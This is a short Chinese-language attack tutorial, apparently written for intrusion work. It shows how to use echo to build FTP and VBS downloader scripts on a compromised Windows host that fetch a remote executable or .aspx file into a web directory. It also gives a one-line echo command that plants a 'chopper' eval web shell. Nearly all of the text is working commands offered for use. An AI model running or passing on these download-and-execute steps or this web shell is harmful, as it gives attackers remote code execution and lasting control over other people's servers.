对于较大文件,用echo命令一行一行导出太麻烦了,以下提供两种方法
注”后面的汉字要去掉
第一种,通过FTP服务器下载:
echo open IP>d:\ftp.txt
echo 用户名>>d:\ftp.txt
echo 密码>>d:\ftp.txt
echo lcd d:\>>d:\ftp.txt 注:lcd设定下载到的目录
echo get 1.exe>>d:\ftp.txt 注:下载ftp服务器的文件
echo bye>>d:\ftp.txt
ftp -s:d:\ftp.txt
del d:\ftp.txt
第二种,通过vbs脚本下载http链接文件:
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >d:\webdown.vbs
echo xPost.Open "GET",http://,0 >>d:\webdown.vbs 注:http://改为自己的下载地址
echo xPost.Send() >>d:\webdown.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>d:\webdown.vbs
echo sGet.Mode = 3 >>d:\webdown.vbs
echo sGet.Type = 1 >>d:\webdown.vbs
echo sGet.Open() >>d:\webdown.vbs
echo sGet.Write(xPost.responseBody) >>d:\webdown.vbs
echo sGet.SaveToFile "d:\web1\asp\1.aspx",2 >>d:\webdown.vbs 注:d:\web1\asp\1.aspx改为自己的下载目录
cscript d:\webdown.vbs
del d:\webdown.vbs
附上linux系统与windows系统echo命令的一点差别:
windows:
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^>>>e:\web1\asp\1.aspx
linux:
echo "<%@ page language=\"java\" pageEncoding=\"gbk\"%>">>123.jsp
通过比较我们可以看出两者的转义符是不一样的,windows需要对<和>用 ^符号来转义。
linux只需对 "用\符号转义即可,希望这点区别对大家有帮助。